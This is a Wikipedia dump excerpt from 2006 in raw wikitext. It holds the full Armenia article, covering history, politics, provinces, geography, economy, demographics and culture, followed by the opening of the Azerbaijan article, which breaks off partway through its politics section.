native_name = Հայաստանի Հանրապետություն&lt;br /&gt; Hayastani Hanrapetutyun&lt;br /&gt; Republic of Armenia |
common_name = Armenia |
image_flag = Flag of Armenia.svg |
image_coat = Coa_Armenia.jpg |
national_motto = ''none'' |
image_map = LocationArmenia.png |
national_anthem = ''[[Mer Hayrenik]]'' |
official_languages = [[Armenian language|Armenian]] |
capital = [[Yerevan]] |latd=40|latm=16|latNS=N|longd=44|longm=34|longEW=E|
government_type =  [[Republic]] |
leader_titles = [[President of Armenia|President]]&lt;br /&gt; [[Prime Minister of Armenia|Prime Minister]] |
leader_names = [[Robert Kocharian]]&lt;br /&gt; [[Andranik Markaryan]] |
largest_city = [[Yerevan]] |
area = 29,800 |
areami² = 11,506 | &lt;!--Do not remove --&gt;
area_rank = 139th &lt;small&gt;1&lt;/small&gt; |
area_magnitude = 1 E11 |
percent_water = 4.7 |
population_estimate = 2,982,904 |
population_estimate_year = 2005 |
population_estimate_rank = 133rd |
population_census = 3,288,000 |
population_census_year = 1989 |
population_density = 100 |
population_densitymi² = 259 | &lt;!--Do not remove --&gt;
population_density_rank = 74th |
GDP_PPP_year = 2005 |
GDP_PPP = $13,650,000,000 |
GDP_PPP_rank = 130th |
GDP_PPP_per_capita = $4,600 |
GDP_PPP_per_capita_rank = 119th |
HDI_year = 2003 |
HDI = 0.759 |
HDI_rank = 83rd |
HDI_category = &lt;font color=&quot;#FFCC00&quot;&gt;medium&lt;/font&gt; |
sovereignty_type = [[Independence]] |
established_events = &amp;nbsp;-&amp;nbsp;Declared&lt;br /&gt; &amp;nbsp;-&amp;nbsp;Established |
established_dates = From the [[Soviet Union]]&lt;br/ &gt; [[August 23]] [[1990]]&lt;br/ &gt; [[September 21]] [[1991]] |
currency = [[Dram (currency)|Dram]] |
currency_code = AMD |
time_zone = [[UTC]] |
utc_offset = +4 |
time_zone_DST = [[DST]] |
utc_offset_DST = +5 |
cctld = [[.am]] |
calling_code = 374 |
footnotes = &lt;small&gt;1: Area does not include [[Nagorno-Karabakh]].&lt;/small&gt; |
}}
&lt;!-- END INFOBOX --&gt;
The '''Republic of Armenia''', or '''Armenia''' ([[Armenian language|Armenian]]: {{Hayeren|Հայաստան}}, ''Hayastan'', {{Hayeren|Հայք}}, ''Hayq''), is a [[landlocked]] [[Eurasian]] country in the [[Caucasus]] region, bordered by [[Turkey]] to the west, [[Georgia (country)|Georgia]] to the north, [[Azerbaijan]] to the east, and [[Iran]] and the [[Nakhichevan]] [[exclave]] of Azerbaijan to the south. Armenia is a member of the [[Council of Europe]] and the [[Commonwealth of Independent States]] and for centuries has been on the crossroads between the east and west.

== Origin of the name ==
The original [[Armenian language|Armenian]] name for the country was ''Hayq'', later ''Hayastan'', translated as ''the land of Haik'', and consisting of the name Haik and the [[Persian language|Persian]] suffix '[[-stan]]' (land). According to legend, [[Haik]] was a great-great-grandson of [[Noah]] (son of [[Togarmah]], who was a son of [[Gomer]], a son of Noah's son, [[Japheth]]), and according to an ancient Armenian tradition, a forefather of all [[Armenian people|Armenians]]. He is said to have settled below [[Mount Ararat]], travelled to assist in building the [[Tower of Babel]], and, after his return, defeated the [[Babylon|Babylonian]] king Bel (believed by some researchers to be [[Nimrod]]) on [[August 11]], [[25th century BC|2492 BC]] near [[Lake Van]], in the southern part of historic Armenia (presently in [[Turkey]]).

Hayq was given the name Armenia by the surrounding states, as it was the name of the strongest tribe living in the historic Armenian lands, who called themselves ''Armens''. It is traditionally derived from ''Armenak'' or ''Aram'' (the great-grandson of Haik's great-grandson, and another leader who is, according to Armenian tradition, the ancestor of all Armenians). Some Jewish and Christian scholars write that the name 'Armenia' was derived from ''Har-Minni'', that is 'Mountains of Minni' (or [[Mannai]]). Pre-Christian accounts suggest that ''Nairi'', meaning ''land of rivers'', was an ancient name for the country's mountainous region, first used by [[Assyrians]] around [[1200 BC]]; while the first recorded inscription bearing the name Armenia, namely the [[Behistun Inscription]] in [[Iran]], dates from [[521 BC]].

== History ==
{{History of Armenia}}
{{main|History of Armenia}}

Armenia has been populated by humans since prehistoric times, and has been proposed as the site of the Biblical [[Garden of Eden]].

Armenia was a regional empire with a rich culture in the years leading up to the [[1st century]], spanning from the shores of the [[Black Sea]] to the [[Caspian Sea]] and the [[Mediterranean Sea]] during the rule of [[Tigranes the Great]]. 

Armenia's strategic location between two continents has subjected it to invasions by many peoples, including the [[Assyrians]], [[Persians]], [[Greeks]], [[ancient Rome|Romans]], [[Byzantines]], [[Arabs]], [[Turkic peoples|Turks]] and [[Mongols]].

In [[Anno Domini|AD]] [[301]], Armenia became the first country in the world to adopt [[Christianity]] as its official [[state religion]], twelve years before the Roman Empire granted Christianity official toleration under [[Galerius]], and some 30-40 years before Constantine was baptised.  There had been various [[paganism|pagan]] communities  before Christianity, but they were converted by an influx of Christian missionaries.  

Having changed between various dynasties -- including [[Parthian]] (Iranian), [[Ancient Rome|Roman]], [[Byzantine]], [[Arab]], [[Mongol]] and [[Iran|Persian]] occupations -- Armenia was substantially weakened. In 1500's, the [[Ottoman Empire]] and [[Safavid]] Persia divided Armenia among themselves.

In 1813 and 1828, present-day Armenia (consisting of the [[Erivan]] and [[Karabakh]] [[khanate]]s within Persia) was temporarily incorporated into the [[Russian Empire]]. After a short-lived independent republic established after the [[Bolshevik Revolution]] in [[Petrograd]], Armenia was incorporated into the [[Union of Soviet Socialist Republics|USSR]]. Between 1922 and 1936 it existed as the [[Transcaucasian Soviet Federated Socialist Republic]] (with Georgia, Armenia, and Azerbaijan), and from 1936 to 1991 as the [[Armenian SSR]].

During the final years of the [[Ottoman Empire]] ([[1915]]-[[1922]]), a large proportion of Armenians living in [[Anatolia]] perished as a result of what is termed the [[Armenian Genocide]], regarded by Armenians and the vast majority of Western historians to have been state-sponsored mass killings. Turkish authorities, however, maintain that the deaths were a result of a [[civil war]] coupled with disease and [[famine]], with casualties incurred by both sides. Most estimates for the number of Armenians killed range from [[Ottoman Armenian casualties|650,000 to 1,500,000]], and these events are traditionally commemorated yearly on [[April 24]]. Armenians and a handful of other countries worldwide have been campaigning for official recognition of the events as genocide for over 30 years, but there are also many countries who are pressured not to officially characterize the Armenian massacres as genocide.

Armenia remained preoccupied by a long conflict with [[Azerbaijan]] over [[Nagorno-Karabakh]], a mostly Armenian-populated [[enclave]] that, Armenians allege, [[Stalin]] had placed in Soviet Azerbaijan. A military conflict between Armenia and Azerbaijan began in 1988, and the fighting escalated after both countries gained independence from the Soviet Union in 1991. By May 1994, when a [[cease-fire]] took hold, &lt;!--ethnic WERE THEY ETHNIC OR ARMENIAN REPUBLIC FORCES&gt;/!--&gt;Armenian forces controlled not only [[Nagorno-Karabakh]] but also the surrounding districts of Azerbaijan proper. The economies of both countries have been hurt in the absence of a peaceful resolution.

== Politics ==
{{main|Politics of Armenia}}
The Government of Armenia's stated aim is to build a Western-style [[parliamentary democracy]] as the basis of its [[form of government]]. However, international observers have questioned the fairness of Armenia's parliamentary and presidential elections and constitutional referenda since 1995, citing polling deficiencies, lack of cooperation by the [[Electoral Commission|electoral commission]], and poor maintenance of electoral lists and polling places. For the most part however, Armenia is considered one of the more pro-democratic nations in the [[Commonwealth of Independent States]].

The [[unicameral parliament]] (also called the National Assembly) is controlled by a coalition of three political parties: the conservative Republican party [http://www.hhk.am], the [[Armenian Revolutionary Federation]], and the [[Country of Law]] party. The main opposition is composed of several smaller parties joined in the [[Justice Bloc]].

Armenians voted overwhelmingly for independence in a September 1991 referendum. [[Levon Ter-Petrossian]] was president until January 1998, when public demonstrations against his increasingly authoritarian regime and his domestic and foreign policies forced his resignation. In 1999, as the Prime Minister [[Vasgen Sarkissian|Vazgen Sargsian]], parliament Speaker [[Karen Demirchyan|Karen Demirchian]], and six other officials were killed in the attack on the National Assembly [http://www.aaainc.org/ArTW/article.php?articleID=468], the country experienced a period of political instability. President [[Robert Kocharian]] was successful in riding out the unrest, and currently rules with the support of the parliamentary coalition.

== Administrative Provinces ==
[[Image:ArmeniaNumbered.png|right|200px|Provinces of Armenia]]
Armenia is divided into 11 [[province]]s (''marzer'', singular - ''marz''):

#[[Aragatsotn]] ({{Hayeren|Արագածոտնի մարզ}})
#[[Ararat (province)|Ararat]] ({{Hayeren|Արարատի մարզ}})
#[[Armavir (province)|Armavir]] ({{Hayeren|Արմավիրի մարզ}})
#[[Gegharkunik]] ({{Hayeren|Գեղարքունիքի մարզ}})
#[[Kotayk]] ({{Hayeren|Կոտայքի մարզ}})
#[[Lori (province)|Lori]] ({{Hayeren|Լոռու մարզ}})
#[[Shirak]] ({{Hayeren|Շիրակի մարզ}})
#[[Syunik|Syunik']] ({{Hayeren|Սյունիքի մարզ}})
#[[Tavush]] ({{Hayeren|Տավուշի մարզ}})
#[[Vayots Dzor]] ({{Hayeren|Վայոց Ձորի մարզ}})
#[[Yerevan]] ({{Hayeren|Երևան}})
&lt;br clear=&quot;all&quot; /&gt;

== Geography ==
[[Image:Armenia map.png|thumb|Map of Armenia]]
{{main|Geography of Armenia}}
Armenia is a [[landlocked]] country in the [[Transcaucasus|southern Caucasus]].  Located between the [[Black Sea|Black]] and [[Caspian Sea]]s, Armenia is bordered on the north and east by [[Georgia (country)|Georgia]] and [[Azerbaijan]], and on the south and west by [[Iran]] and [[Turkey]].  Though geographically in Western Asia, politically and culturally Armenia is closely aligned with Europe. Historically, Armenia has been at the crossroads between Europe and Southwest Asia, and is therefore seen as a transcontinental nation.

The Republic of Armenia, covering an area of 30,000 [[square kilometre]]s (11,600&amp;nbsp;[[square mile|sq.&amp;nbsp;mi]]), is located in the north-east of the [[Armenian Highland]] (covering 400,000 sq km or 154,000&amp;nbsp;sq.&amp;nbsp;mi), otherwise known as historic Armenia and considered as the original homeland of [[Armenians]].

The terrain is mostly [[mountain|mountainous]], with fast flowing [[rivers]] and few [[forests]]. The climate is highland [[Continental climate|continental]]: hot summers and cold winters. The land rises to 4,095 [[metre]]s (13,435&amp;nbsp;[[foot (unit of length)|ft]]) [[above sea-level]] at [[Mount Aragats]], and no point is below 400 metres (1,312&amp;nbsp;ft) above sea level. [[Ararat|Mount Ararat]], regarded by the Armenians as a [[symbol]] of their land, is the highest mountain in the region and used to be part of Armenia until around 1915, when it fell to the Turks.

Armenia is trying to address its [[environment|environmental]] problems.  It has established a Ministry of Nature Protection and introduced taxes for air and water pollution and solid waste disposal, whose revenues are used for environmental protection activities.  Armenia is interested in cooperating with other members of the [[Commonwealth of Independent States]] (CIS, a group of 12 former [[Soviet]] republics) and with members of the international community on environmental issues.  The Armenian Government is working toward closing its Nuclear Power Plant at Medzamor near [[Yerevan]] as soon as alternative energy sources are identified.

== Economy ==
{{main|Economy of Armenia}}
Until independence, Armenia's economy was largely [[industry]]-based – [[chemical]]s, [[electronics]], machinery, processed [[food]], [[synthetic rubber]], and [[textile]] – and highly dependent on outside resources.  [[Agriculture]] contributed only 20% of net material product and 10% of employment before the breakup of the Soviet Union in 1991. Armenian mines produce [[copper]], [[zinc]], [[gold]], and [[lead]].  The vast majority of energy is produced with [[fuel]] imported from Russia, including [[gas]] and nuclear fuel (for its one [[nuclear power plant]]); the main domestic energy source is [[hydroelectric]].  Small amounts of [[coal]], gas, and [[petroleum]] have not yet been developed.

Like other newly independent states of the former Soviet Union, Armenia's economy suffers from the legacy of a [[centrally planned economy]] and the breakdown of former Soviet trading patterns.  Soviet investment in and support of Armenian industry has virtually disappeared, so that few major enterprises are still able to function.  In addition, the effects of the 1988 [[Spitak Earthquake]], which killed more than 25,000 people and made 500,000 homeless, are still being felt.  The conflict with Azerbaijan over Nagorno-Karabakh has not been resolved.  The closure of  Azerbaijani and Turkish borders has devastated the economy, because Armenia depends on outside supplies of energy and most raw materials.  Land routes through Georgia and Iran are inadequate or unreliable.  [[Gross domestic product|GDP]] fell nearly 60% from 1989 until 1992–[[1993]].  The national currency, the dram, suffered hyperinflation for the first years after its introduction in 1993.

Nevertheless, the government was able to make wide-ranging economic reforms that paid off in dramatically lower inflation and steady growth.  The 1994 cease-fire in the Nagorno-Karabakh conflict has also helped the economy. Armenia has had strong economic growth since 1995, building on the turnaround that began the previous year, and inflation has been negligible for the past several years.  New sectors, such as [[precious stone]] processing and [[jewelry]] making, [[information technology|information]] and [[communication technology]], and even [[tourism]] are beginning to supplement more traditional sectors in the economy, such as agriculture.

This steady economic progress has earned Armenia increasing support from international institutions.  The [[International Monetary Fund]] (IMF), [[World Bank]], [[European Bank for Reconstruction and Development]] (EBRD), and other international financial institutions (IFIs) and foreign countries are extending considerable grants and loans. Loans to Armenia since 1993 exceed $1.1 billion.  These loans are targeted at reducing the budget deficit, stabilizing the currency; developing private businesses; energy; the agriculture, food processing, transportation, and health and education sectors; and ongoing rehabilitation in the earthquake zone.  The government joined the [[World Trade Organization]] on [[February 5]], [[2003]]. But one of the main sources of foreign direct investments remains the Armenian diaspora, which finances major parts of the reconstruction of infrastructure and other public projects. Being a growing democratic state, Armenia also hopes to get more financial aid from the Western World.

A liberal foreign investment law was approved in June 1994, and a Law on Privatization was adopted in 1997, as well as a program on state property privatization.  Continued progress will depend on the ability of the government to strengthen its macroeconomic management, including increasing revenue collection, improving the investment climate, and making strides against corruption.

In the 2006 [[Index of Economic Freedom]], Armenia ranked 27th best, tied with [[Japan]] and ahead of countries like [[Norway]], [[Spain]], [[Portugal]] and [[Italy]]. However, Armenia ranked very low on property rights worse than countries like Botswana, Trinidad and Tobago.[http://www.heritage.org/research/features/index/]

In the 2005 Transparency International Corruption Index Armenia ranked 88, Highly Corrupt.[http://www.transparency.org/policy_and_research/surveys_indices/cpi/2005]

== Demographics ==
{{main|Demographics of Armenia}}
Armenia has a population of 2,982,904 (July 2005 est.) and is the second most densely populated of the former Soviet republics. There has been a problem of population decline due to elevated levels of [[emigration]] after the break-up of the [[USSR]]. The rates of emigration and population decline, however, have been decreasing in the recent years, a trend which is expected to continue. In fact Armenia is expected to resume its positive population growth by 2010. 

Ethnic [[Armenians]] make up 97.9% of the population. [[Kurds]] make up 1.3%, and [[Russians]] 0.5%. There are smaller communities of [[Assyrians]], [[Georgians]], [[Greeks]] and [[Ukrainians]]. Most [[Azerbaijanis]], once a sizable population, have left since independence.

Nearly all of the Armenians in [[Azerbaijan]] (approximately 120,000) now live in the [[Nagorno-Karabakh]] region. Armenia has a very large [[Armenian Diaspora|diaspora]] (8 million by some estimates, greatly exceeding the 3 million population of Armenia itself), with communities existing across the globe, including [[France]], [[Lebanon]], and [[North America]].

The predominant religion in Armenia is [[Christianity]]. The roots of the [[Armenian Church]] go back to the [[1st century|1st]] century AD. According to tradition, the [[Armenian Church]] was founded by two of Jesus' twelve [[Twelve Apostles|apostle]]s--[[Saint Jude|Thaddaeus]] and [[Bartholomew]]--who preached Christianity in Armenia in the 40's-60's AD. Because of these two founding [[Twelve Apostles|apostle]]s, the official name of the [[Armenian Church]] is [[Armenian Apostolic Church]]. Armenia was the first nation to adopt Christianity as a state religion, in AD [[301]]. Over 93% of Armenian Christians belong to the [[Armenian Apostolic Church]], a form of Oriental (Non-[[Chalcedonian]]) Orthodoxy, which is a very ritualistic, conservative church, roughly comparable to the [[Coptic Church|Coptic]] and [[Syriac Orthodox Church|Syrian]] churches. Armenia also has a population of Catholics (both Roman and Mekhitarist - Armenian Uniate (180,000)), evangelical Protestantsand followers of the Armenian traditional religion. The [[Yazidi]] [[Kurds]], who live in the western part of the country, practise [[Yazidism]]. The [[Armenian Catholic Church]] is headquartered in [[Bzoummar]], [[Lebanon]].

Ethnic [[Azeris]] and [[Kurds]] who lived in the country before the [[Nagorno-Karabakh|Karabakh]] conflict practised [[Islam]], but most Azeris were driven out of Armenia into [[Azerbaijan]] between 1988 and 1991 at the beginning of the conflict. During the same period, Armenia also received a large influx of Armenians scattered throughout Azerbaijan and large number of Azeri population migrated to Azerbaijan.

== Culture ==
[[Image:Yerewan with Ararat.jpg|thumb|right|Although located in [[Turkey]], [[Mount Ararat]], here seen from Yerevan, is the national symbol of Armenia.]]
[[Image:Mother Armenia, Yerevan, Day.jpg|thumb|right|Mother Armenia (Mayr Hayastan) statue, located near Victory Park, in Yerevan.]]
{{Main|Culture of Armenia}}
Armenians have their own highly distinctive [[Armenian alphabet|alphabet]] and [[Armenian language|language]]. 96% of the people in the country speak Armenian, while 75.8% of the population speaks [[Russian language|Russian]] as well. The adult literacy rate in Armenia is 99% [http://www.cia.gov/cia/publications/factbook/geos/am.html]. Most adults in Yerevan can communicate in Russian, while [[English language|English]] is increasing in popularity.

[[Caucasus|Caucasian]] hospitality is legendary and stems from ancient tradition. Social gatherings focused around sumptuous presentations of course after course of elaborately prepared, well-seasoned (but not spicy-hot) food. The host or hostess will often put morsels on a guest's plate whenever it is empty or fill his or her glass when it gets low. After a helping or two it is acceptable to refuse politely or, more simply, just leave a little uneaten food.

The National Art Gallery in Yerevan has more than 16,000 works that date back to the [[Middle Ages]]. It houses paintings by many [[European]] masters. The Modern Art Museum, the Children’s Picture Gallery, and the [[Martiros Saryan]] Museum are only a few of the other noteworthy collections of fine art on display in Yerevan. Moreover, many private galleries are in operation, with many more opening each year. They feature rotating exhibitions and sales.

The world-class [[Armenian Philharmonic Orchestra]] performs at the beautifully refurbished city Opera House, where you can also attend a full season of opera. In addition, several chamber ensembles are highly regarded for their musicianship, including the [[National Chamber Orchestra of Armenia]] and the [[Serenade Orchestra]]. Classical music can also be heard at one of several smaller venues, including the State Music Conservatory and the Chamber Orchestra Hall. [[Jazz]] is popular, especially in the summer when live performances are a regular occurrence at one of the city’s many outdoor [[cafe|cafes]].

Yerevan’s Vernisage (arts and crafts market), close to Republic Square, bustles with hundreds of vendors selling a variety of crafts, many of superb workmanship, on weekends and Wednesdays (though the selection is much reduced mid-week). The market offers woodcarving, antiques, fine lace, and the hand-knotted wool carpets and kilims that are a Caucasus specialty. Obsidian, which is found locally, is crafted into an amazing assortment of jewelry and ornamental objects. Armenian gold smithery enjoys a long and distinguished tradition, populating one corner of the market with a selection of gold items. Soviet relics and souvenirs of recent Russian manufacture—nesting dolls, watches, enamel boxes and so on, are also available at the Vernisage.

Across from the Opera House, a popular art market fills another city park on the weekends. Armenia’s long history as a crossroads of the ancient world has resulted in a landscape with innumerable fascinating archaeological sites to explore. [[Medieval]], [[Iron Age]], [[Bronze Age]] and even [[Stone Age]] sites are all within a few hours drive from the city. All but the most spectacular remain virtually undiscovered, allowing visitors to view churches and fortresses in their original settings.

The American University of Armenia has graduate programs in Business and Law, among others. The institution owes its existence to the combined efforts of the Government of Armenia, the [[Armenian General Benevolent Union]], USAID, and the Boalt Hall School of Law at the [[University of California, Berkeley]].

The extension programs and the library at AUA form a new focal point for English-language intellectual life in the city. Many of the country’s most successful young entrepreneurs are graduates of this institution.

== See also ==
*[[Artsakh]]
*[[Armenian people]]
*[[Armenian Genocide]]
*[[First Republic of Armenia]]
*[[Castles of Armenia]]
*[[Hayastani Azgayin Scautakan Sharjum Kazmakerputiun]] - the Armenian National Scout Movement
*[[Nagorno-Karabakh]]
*[[Public holidays in Armenia]]
*[[Music of Armenia]]
*[[Armenian needlelace]]
*[[List of Armenians]]
*[[Khachkar]]s - intricate Armenian knotwork crosses

== Miscellaneous topics ==
*[[Communications in Armenia]]
*[[Foreign relations of Armenia]]
*[[Military of Armenia]]
*[[Transportation in Armenia]]

== External links and references==
{{sisterlinks|Armenia}}
*[http://www.armeniapedia.org Armeniapedia.org] - the Armenian Wiki with thousands of articles
*[http://www.armenianhouse.org Armenianhouse.org] - Armenian literature and history
*[http://www.heritage.org/research/features/index/ The Heritage Foundation] - publishes the index of economic freedom
*[http://www.cia.gov/cia/publications/factbook/geos/am.html CIA] - The World Factbook -- Armenia
*[http://www.gov.am/enversion/index.html Gov.am] - Government of Armenia
*[http://www.loc.gov/rr/international/amed/armenia/armenia.html LoC.gov] - Library of Congress Portal on Armenia
*[http://www.armeniainfo.am Armeniainfo.am] - Armenia information
*[http://www.armgate.com Armgate.com] - Armenian News and pictures of Churches and Ararat Mountain
*[http://hayastan.republika.pl/armenia.htm hayastan.republika.pl] - General information (Armenian, English, Polish)
*Portals
**[http://www.hayastan.com Hayastan.com] - Armenian portal with millions of visitors (Armenian,Russian,English)
**[http://www.circle.am Circle.am] Armenian web ring
**[http://www.armeniasearch.com Armeniasearch.com] - Armenian Search Engine and Directory
*News sites
**[http://www.panarmenian.net PanARMENIAN.Net] - Armenia &amp; Armenian News
**[http://www.a1plus.am A1plus.am] - Fastest News from Armenia
**[http://www.groong.org Groong.org] - Armenian News Network - Groong
**[http://www.ArmeniaNow.com Armenia Now], edited by John Hughes
**[http://www.caucaz.com/home_uk Caucaz.com] - Weekly online publishing articles and reports about Armenia and South Caucasus. Available in English and French

{{Europe}}
{{Asia}}
{{Southwest_Asia}}
{{Commonwealth_of_Independent_States}}

[[Category:Armenia| ]]

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[[zh:亞美尼亞]]</text>
    </revision>
  </page>
  <page>
    <title>Azerbaijan</title>
    <id>746</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42040989</id>
      <timestamp>2006-03-03T11:31:48Z</timestamp>
      <contributor>
        <username>Stephen G. Brown</username>
        <id>117550</id>
      </contributor>
      <comment>rvt</comment>
      <text xml:space="preserve">:''For the region in northwest [[Iran]], see [[Iranian Azerbaijan]]''
{{Infobox Country|
native_name = Azərbaycan Respublikası&lt;br&gt;Republic of Azerbaijan|
common_name = Azerbaijan |
national_motto = none |
national_anthem = [[Azərbaycan Respublikasının Dövlət Himni]] |
image_flag = Flag of Azerbaijan.svg |
image_coat = Azericoat.gif |
image_map = LocationAzerbaijan.png |
capital = [[Baku]] |latd=40|latm=22|latNS=N|longd=49|longm=53|longEW=E|
largest_city = [[Baku]] |
official_languages = [[Azerbaijani language|Azerbaijani]] |
government_type = [[Representative democracy]] |
leader_titles = [[President of Azerbaijan|President]]&lt;br&gt;Prime Minister |
leader_names = [[Ilham Aliyev]]&lt;br&gt;[[Artur Rasizade]] |
sovereignty_type = [[Collapse of the Soviet Union|Independence]] |
established_events = &amp;nbsp;- Declared&lt;br&gt; &amp;nbsp;- Formerly |
established_dates = From the [[Soviet Union]]&lt;br&gt;[[August 30]], [[1991]]&lt;br&gt; [[Azerbaijan SSR]] |
area = 86,600 |
areami² = 33,436 | &lt;!-- Do not remove [[WP:MOSNUM]]--&gt;
area_rank = 112th |
area_magnitude = 1 E9 |
percent_water = negligible |
population_estimate = 7,911,974 |
population_estimate_year = 2005 |
population_estimate_rank = 91st |
population_census = N/A |
population_census_year = 2000|
population_density = 90 |
population_densitymi² = 233 | &lt;!-- Do not remove [[WP:MOSNUM]]--&gt;
population_density_rank = 81st |
GDP_PPP_year = 2004 |
GDP_PPP = $37,841,000,000 |
GDP_PPP_rank = 87th |
GDP_PPP_per_capita = $4,500 |
GDP_PPP_per_capita_rank = 112th |
HDI_year = 2003 |
HDI = 0.729 |
HDI_rank = 101st |
HDI_category = &lt;font color=&quot;#FFCC00&quot;&gt;medium&lt;/font&gt; |
currency = [[Manat (Azerbaijan)|Manat]] |
currency_code = AZN |
time_zone = |
utc_offset = +4 |
time_zone_DST = |
utc_offset_DST = +5 |
cctld = [[.az]] |
calling_code = 994 |
footnotes = |
}}
The '''Republic of Azerbaijan''' ([[Azerbaijani language|Azerbaijani]]: Azərbaycan or Azərbaycan Respublikası) is a country in the [[Caucasus]], at the crossroads of [[Europe]] and [[Southwest Asia]], with a coast on the [[Caspian Sea]]. It has frontiers with [[Russia]] in the north, [[Georgia (country)|Georgia]] in the northwest, [[Armenia]] in the west, and [[Iran]] in the south. The [[Nakhichevan|Nakhichevan Autonomous Republic]] (an [[exclave]] of Azerbaijan) borders Armenia to the north and east, Iran to the south and west, and [[Turkey]] to the northwest.

Azerbaijan is a secular state, and has been a member of the [[Council of Europe]] since 2001. A majority of the population are [[Shi'a Muslim]] and of Western [[Turkic peoples|Turkic]] descent, known as [[Azerbaijanis]], or simply Azeris. The country is formally an emerging [[democracy]], however with strong [[Authoritarianism|authoritarian]] rule.

== Etymology ==

There are several hypotheses regarding the origins of the name &quot;Azerbaijan.&quot; The most common theory is that it is derived from &quot;Atropatan.&quot; [[Atropat]] was the [[satrap]] at the time of the [[Persian empire|Persian]] [[Achaemenid dynasty|Achaemenid dynasty]], and gained independence after [[Alexander the Great]] destroyed the Achaemenids. The region was known as ''[[Medes|Media]] Atropatia'' or ''[[Atropatene]]'' at the time.

There are also alternative opinions that the term is a slight Turkification of ''Azarbaijan'', in turn an Arabicized version of the original Persian name ''Âzarâbâdagân'', made up of ''âzar+âbadag+ân'' (''âzar''=fire; ''âbâdag''=cultivated area; ''ân''=suffix of pluralization); that it traditionally means &quot;the land of eternal flames&quot; or &quot;the land of fire&quot;, which is probabely implies [[Zoroastrian]] fire temples in this land. Some Azeri historians contend that the name is made up of four [[Azerbaijani language|Azerbaijani]] components: ''az+er+bay+can'', which means &quot;the land of the brave Az people&quot; or &quot;an elevated place for the wealthy and exalted.&quot; &lt;!--please name some of these Azeri historians who so contend--&gt;

Historically, a large part of the territory of the present-day Azerbaijan Republic has been called [[Arran (Azerbaijan)|Arran]], named after Arran, a legendary founder of [[Caucasian Albania]]. However, the precise location identified by this name has shifted somewhat over time, currently referring to the lowland Karabakh plains situated between the [[Kura]] and [[Araks]] rivers.

Some opponents of the name ''Azerbaijan'' assert that it is anachronistic to use it in a historical context before 1918, because, they say, the term was first introduced by the national intelligentsia in early 20th century and later was endorsed by the Bolsheviks, with intention of claiming the northern province of [[Persian Empire|Persia]]. To substantiate this claim they state that until the early 20th century the population of present-day Azerbaijan had no clear ethnic identification and referred to themselves primarily as &quot;Muslims.&quot;

== History ==
''Main article: [[History of Azerbaijan]]''

The earliest known inhabitants of what is today Azerbaijan were the [[Caucasian Albania]]ns, a [[Languages of the Caucasus|Caucasian]]-speaking people who appear to have been in the region prior to the host of peoples who would eventually invade the Caucasus. Historically Azerbaijan has been occupied by a variety of peoples, including [[Armenians]], [[Persians]], [[Roman Empire|Romans]], [[Arabs]], [[Turkic peoples|Turks]], [[Mongols]], [[Greek Empire]], and [[Russians]].

The first state to emerge in the territory of present-day Republic of Azerbaijan was [[Mannai|Mannae]] in the 9th century [[Anno Domini|BC]], lasting until 616 BC when it was overthrown by the [[Medes]]. The satrapies of Atropatene and [[Caucasian Albania]] were established in the [[4th century BC]] and included the approximate territories of present-day Azerbaijan and southern parts of [[Dagestan]].

[[Islam]] spread rapidly in Azerbaijan following the Arab conquests in the [[7th century|7th]]&amp;ndash;[[8th century|8th centuries]]. After the power of the Arab Khalifate waned, several semi-independent states have been formed, the Shirvanshah kingdom being one of them. In the 11th century, the conquering [[Seljuk Turks]] became the dominant force in Azerbaijan and laid the ethnic foundation of contemporary [[Azerbaijanis]] or Azeri Turks. In the [[13th century|13]]&amp;ndash;[[14th century|14th centuries]], the country experienced [[Mongol]]-[[Tatars|Tatar]] invasions.

Azerbaijan was part of the [[Safavids|Safavid state]] in [[15th century|15th]]&amp;ndash;[[18th century|18th centuries]]. It also underwent a brief period of feudal fragmentation in the mid-18th to early 19th centuries, and consisted of independent khanates. Following the two wars between the [[Qajars|Qajar dynasty]] of [[Persian Empire|Persia]] and the [[Russian Empire]], Azerbaijan was acquired by Russia through the [[Treaty of Gulistan]] in 1813, and the [[Treaty of Turkmenchay]] in 1828.

After the collapse of the Russian Empire during [[World War I]], Azerbaijan declared independence and established the [[Azerbaijan Democratic Republic]]. This first Muslim republic in the world lasted only two years, from 1918 to 1920, before the [[Soviet]] [[Red Army]] invaded Azerbaijan. Subsequently, Azerbaijan became part of the [[Soviet Union]].

Azerbaijan re-established its independence upon the collapse of the Soviet Union in 1991. Despite a [[cease-fire]] in place since 1994, Azerbaijan has yet to resolve its conflict with [[Armenia]] over the predominantly ethnic Armenian [[Nagorno-Karabakh]] region. Azerbaijan has lost control of 16% of its territory including Karabakh, and must support some 800,000 [[refugee]]s and internally [[displaced person]]s as a result of the conflict.

== Politics ==
''Main article: [[Politics of Azerbaijan]]''
[[Image:Ilham aliyev.jpg|right|160px|thumb|[[Ilham Aliyev]], President of Azerbaijan]]

Azerbaijan is a [[presidential republic]]. The [[head of state]] and [[head of government]] are separate from the country’s law-making body. The people elect the [[president of Azerbaijan|president]] for a five-year term of office. The president appoints all [[cabinet]]-level government administrators. A fifty-member national assembly makes the country’s laws. The people of Azerbaijan elect the [[National Assembly]]. Azerbaijan has [[universal suffrage]] above the age of eighteen.

After the presidential elections of [[Azerbaijan presidential election, 2003|October 15, 2003]], an official release of the Central Election Committee (CEC) gave [[Isa Gambar]] — leader of the largest opposition bloc, [[Bizim Azerbaycan]] (&quot;Our Azerbaijan&quot;) — 14% percent of the electorate and the second place in election. Third, with 3.6%, came [[Lala Shevket|Lala Shevket Hajiyeva]], leader of the National Unity Movement, the first woman to run in presidential election in Azerbaijan. Nevertheless, the [[Organization for Security and Co-operation in Europe|OSCE]], the [[Council of Europe]], [[Human Rights Watch]] and other international organizations, as well as local independent political and [[Non-governmental organization|NGO]]s voiced concern about observed vote rigging and a badly flawed counting process.

Several independent local and international organizations that had been observing and monitoring the election directly or indirectly declared [[Isa Gambar]] winner in the [[Azerbaijan presidential election, 2003|15 October election]]. Another view shared by many international organisations is that in reality a second tour of voting should have taken place between the two opposition candidates Isa Gambar and Lala Shevket.

